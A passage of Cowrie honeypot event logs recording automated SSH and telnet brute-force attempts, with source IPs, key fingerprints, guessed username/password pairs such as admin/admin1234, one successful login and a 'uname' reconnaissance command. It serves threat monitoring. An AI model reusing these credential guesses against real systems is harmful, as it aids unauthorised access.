{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:34:1c:83:05:0a:94:72:51:e2:52:36:d0:0e:e4:d2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC5bMNzuPsVPyVqrcKFrhb//l52f0ULzgmDXe6H2mTcR","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5f:34:1c:83:05:0a:94:72:51:e2:52:36:d0:0e:e4:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.439563Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:34:1c:83:05:0a:94:72:51:e2:52:36:d0:0e:e4:d2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC5bMNzuPsVPyVqrcKFrhb//l52f0ULzgmDXe6H2mTcR","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.443107Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:5e:9c:42:78:8b:03:6e:48:bb:32:57:08:76:5a:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMBYHlwboASSY+CEFGqRq0aWbL6b1cSfCaVjJmN4fPZ+rPK1jtskTFc1DH5PoUxMsTq27ZMbCq7rKPbPErDZqsu3YtkQYV0NlQNcY7J9tyb7kjb/eUaaOZYAHaUq1E4ktrdBt8XFv3GWPan4kshrz2zJH+wR2+XHrA9uw2VyhoL7CiOXb7SPtxHs9DIdQYewZ999trks2e3q0JJpHSsj4UhuUkECePYAVicH22qS8occMps2sVosr6pEij0FQd2CrqNuEemiFmkzkgwi69PGIrrnFyc4/0dJxSmF+5QJfiZWAWFfmXuGj2TrBPLj9KccAqDYMUeCpI6myqgO66FZh872Oz58JlIbVnsooyeW5I2GsyoWRRssSu5o9dNqLYWi5L84jJtSZnn2bH70uijEt5IOdzV7JxDzoYoZw/mR/qvot4mD5zTKnhUUerFcMhZRPeD+9V+K1czZymBhwxiHLbKBsWxTuITx4/VQXAOlFDvf+D+O1/6R7/1QZG/t9EK+0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:5e:9c:42:78:8b:03:6e:48:bb:32:57:08:76:5a:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.554729Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:5e:9c:42:78:8b:03:6e:48:bb:32:57:08:76:5a:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMBYHlwboASSY+CEFGqRq0aWbL6b1cSfCaVjJmN4fPZ+rPK1jtskTFc1DH5PoUxMsTq27ZMbCq7rKPbPErDZqsu3YtkQYV0NlQNcY7J9tyb7kjb/eUaaOZYAHaUq1E4ktrdBt8XFv3GWPan4kshrz2zJH+wR2+XHrA9uw2VyhoL7CiOXb7SPtxHs9DIdQYewZ999trks2e3q0JJpHSsj4UhuUkECePYAVicH22qS8occMps2sVosr6pEij0FQd2CrqNuEemiFmkzkgwi69PGIrrnFyc4/0dJxSmF+5QJfiZWAWFfmXuGj2TrBPLj9KccAqDYMUeCpI6myqgO66FZh872Oz58JlIbVnsooyeW5I2GsyoWRRssSu5o9dNqLYWi5L84jJtSZnn2bH70uijEt5IOdzV7JxDzoYoZw/mR/qvot4mD5zTKnhUUerFcMhZRPeD+9V+K1czZymBhwxiHLbKBsWxTuITx4/VQXAOlFDvf+D+O1/6R7/1QZG/t9EK+0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.558199Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:5f:85:5e:bf:76:f9:74:bb:4f:a1:ad:93:ee:07:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCSi50nwuWjJ/UJaJBiLT2ez14RclTbmfm8D7lkAD6A6LlaFLvvpujje+j34csu/uwOeQtBd33FtLfCIIGAR0GIQ8uzPuOMs3vwYka5M9kezX5FUru8kN3uh4DZ6s0dbEujMOvF1jG5V765YHeLhaiP4b649wRb4FleyZjPq/yZIgovf2ksqVLWEczaMXpaQfAQVeiaTu/ZjsdnEN4XZQ8QbsvttVzAkkQYpMSV4KDWII0SGf1omX4Hxy2XWQD8XO65NwRBj1Kzw5Lv2SJoy+3FPzi9QavfFIRzQBMdpJwM6ZXF0jJsB66bNqJc4t63I/yzZqBhlt7VqSjfUtFeQtqqqJxsUMWkq5rcbiGElsytVvYpaXaE/lS2K9QiAFZWzt788f/qPm/UBgjCA4Ppxcb6NxCHThB4hc8qlrJeYy0KjnaUVTXkBpdA4oFH8Lg1TvmtSDa/kiVOQp/SjLVYgDff0RkY3wFM2jnPxB+FqkL3RmP8vfFC1h7zxAuYuhO61lF7SJ56oCOZC9y82eWxQ60X04M6OgXwWAWmLbCsMptc3J3yYGqPco+locmWo8tjSPHZNT5CGjEzGEiLbyn/nVT0t7w9lTZCne+tbz02a34SMK63Yr37kYsOKbnkvM1gJY75xDdHo6nNknyNOQpDO0SFZ2zSR+p7XpBx3dQPhbrQRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:5f:85:5e:bf:76:f9:74:bb:4f:a1:ad:93:ee:07:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.668609Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:5f:85:5e:bf:76:f9:74:bb:4f:a1:ad:93:ee:07:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCSi50nwuWjJ/UJaJBiLT2ez14RclTbmfm8D7lkAD6A6LlaFLvvpujje+j34csu/uwOeQtBd33FtLfCIIGAR0GIQ8uzPuOMs3vwYka5M9kezX5FUru8kN3uh4DZ6s0dbEujMOvF1jG5V765YHeLhaiP4b649wRb4FleyZjPq/yZIgovf2ksqVLWEczaMXpaQfAQVeiaTu/ZjsdnEN4XZQ8QbsvttVzAkkQYpMSV4KDWII0SGf1omX4Hxy2XWQD8XO65NwRBj1Kzw5Lv2SJoy+3FPzi9QavfFIRzQBMdpJwM6ZXF0jJsB66bNqJc4t63I/yzZqBhlt7VqSjfUtFeQtqqqJxsUMWkq5rcbiGElsytVvYpaXaE/lS2K9QiAFZWzt788f/qPm/UBgjCA4Ppxcb6NxCHThB4hc8qlrJeYy0KjnaUVTXkBpdA4oFH8Lg1TvmtSDa/kiVOQp/SjLVYgDff0RkY3wFM2jnPxB+FqkL3RmP8vfFC1h7zxAuYuhO61lF7SJ56oCOZC9y82eWxQ60X04M6OgXwWAWmLbCsMptc3J3yYGqPco+locmWo8tjSPHZNT5CGjEzGEiLbyn/nVT0t7w9lTZCne+tbz02a34SMK63Yr37kYsOKbnkvM1gJY75xDdHo6nNknyNOQpDO0SFZ2zSR+p7XpBx3dQPhbrQRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.672561Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:d8:d2:8c:16:0b:c0:73:62:55:bf:c1:01:5a:80:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBWPoXkXxKLyx2+fxWNhnPbqzgqmb0SgIB0kAwVjE5n7PHTbU0VIn3tY5R1Y1zYmmP304qktRIr6ENw8yzFXwSohX7DaRZQFjBfEP234/2q108gMkTD9OYk6wSMfTC26DL0RIrRMGrLKZarlHr2Os9JMK8l1oSs8jG/9KE6A+J9xhqcHcKTKsTx//6A20ITiCCzfIApJqZyDyyI5Cko3i8MKP/uWngtpj79RNqkmoThV8nVTmjmYRwOcuBm0Qz4fBDUS0XP+kHBXtpesyid1AwRmx6WePfwUGtGazBaqo9wxNu1hs/mnPyAkp6ZaGhOVqjkDDLSs4pHamKugSO1WySb6eNtUXHGlh7/PREICLY273qe+1BGp6VUtmrJ6BCsYT37GURDCYGcGq4FqhoTI8Gh1h2u+YcX2g3SbXPE3AK6sHCY1kaBXfd/P4v52Gt6Z3pY6Uih05Lt+YCXWjavclEPdun9l9To3Mc9ajyRF/w1H6QlaM2312ZySEyQVJjiXda2u384jQx2p3m5botChZUdToNonWb8qun7GvOD8GrK54jrONeOx8psUkhUQdR4gvOIW326WUhSf0bkqFiQ+T765ny0S+OO3cb9Iud0Bm+YsPMV9CPyuGuWkl4l3jnxiD/zNpM5NDv13tJ4ra/h3NpiU78K6dEmubv8vrZcL7VsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:d8:d2:8c:16:0b:c0:73:62:55:bf:c1:01:5a:80:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.784002Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:d8:d2:8c:16:0b:c0:73:62:55:bf:c1:01:5a:80:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBWPoXkXxKLyx2+fxWNhnPbqzgqmb0SgIB0kAwVjE5n7PHTbU0VIn3tY5R1Y1zYmmP304qktRIr6ENw8yzFXwSohX7DaRZQFjBfEP234/2q108gMkTD9OYk6wSMfTC26DL0RIrRMGrLKZarlHr2Os9JMK8l1oSs8jG/9KE6A+J9xhqcHcKTKsTx//6A20ITiCCzfIApJqZyDyyI5Cko3i8MKP/uWngtpj79RNqkmoThV8nVTmjmYRwOcuBm0Qz4fBDUS0XP+kHBXtpesyid1AwRmx6WePfwUGtGazBaqo9wxNu1hs/mnPyAkp6ZaGhOVqjkDDLSs4pHamKugSO1WySb6eNtUXHGlh7/PREICLY273qe+1BGp6VUtmrJ6BCsYT37GURDCYGcGq4FqhoTI8Gh1h2u+YcX2g3SbXPE3AK6sHCY1kaBXfd/P4v52Gt6Z3pY6Uih05Lt+YCXWjavclEPdun9l9To3Mc9ajyRF/w1H6QlaM2312ZySEyQVJjiXda2u384jQx2p3m5botChZUdToNonWb8qun7GvOD8GrK54jrONeOx8psUkhUQdR4gvOIW326WUhSf0bkqFiQ+T765ny0S+OO3cb9Iud0Bm+YsPMV9CPyuGuWkl4l3jnxiD/zNpM5NDv13tJ4ra/h3NpiU78K6dEmubv8vrZcL7VsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.787668Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.907013Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.918250322341919,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:24.571760Z","src_ip":"109.187.252.174","session":"fa63bd97e5f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43696,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b5dd7116b3","protocol":"ssh","message":"New connection: 103.75.199.4:43696 (159.203.135.109:22) [session: 14b5dd7116b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:39.596205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:39.600850Z","src_ip":"103.75.199.4","session":"14b5dd7116b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:39.691979Z","src_ip":"103.75.199.4","session":"14b5dd7116b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:39.964682Z","src_ip":"103.75.199.4","session":"14b5dd7116b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:41.057915Z","src_ip":"103.75.199.4","session":"14b5dd7116b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":43006,"dst_ip":"10.17.0.5","dst_port":22,"session":"3abdaa9937ba","protocol":"ssh","message":"New connection: 80.94.92.182:43006 (10.17.0.5:22) [session: 3abdaa9937ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:47.315817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:47.658921Z","src_ip":"80.94.92.182","session":"3abdaa9937ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:47.662585Z","src_ip":"80.94.92.182","session":"3abdaa9937ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:48.537386Z","src_ip":"80.94.92.182","session":"3abdaa9937ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:49.654565Z","src_ip":"80.94.92.182","session":"3abdaa9937ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33344,"dst_ip":"159.203.135.109","dst_port":22,"session":"139071b022da","protocol":"ssh","message":"New connection: 103.75.199.4:33344 (159.203.135.109:22) [session: 139071b022da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:01.383001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:01.387761Z","src_ip":"103.75.199.4","session":"139071b022da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:01.478709Z","src_ip":"103.75.199.4","session":"139071b022da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:01.753175Z","src_ip":"103.75.199.4","session":"139071b022da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:01.995688Z","src_ip":"103.75.199.4","session":"139071b022da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:01.999960Z","src_ip":"103.75.199.4","session":"139071b022da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:02.095798Z","src_ip":"103.75.199.4","session":"139071b022da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:02.101859Z","src_ip":"103.75.199.4","session":"139071b022da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48930,"dst_ip":"159.203.135.109","dst_port":22,"session":"7707c976dc5f","protocol":"ssh","message":"New connection: 103.75.199.4:48930 (159.203.135.109:22) [session: 7707c976dc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:23.244371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:23.249109Z","src_ip":"103.75.199.4","session":"7707c976dc5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:23.344632Z","src_ip":"103.75.199.4","session":"7707c976dc5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:23.629930Z","src_ip":"103.75.199.4","session":"7707c976dc5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:24.728216Z","src_ip":"103.75.199.4","session":"7707c976dc5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40888,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a1eeeee0598","protocol":"ssh","message":"New connection: 103.75.199.4:40888 (159.203.135.109:22) [session: 1a1eeeee0598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:45.046743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:45.050649Z","src_ip":"103.75.199.4","session":"1a1eeeee0598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-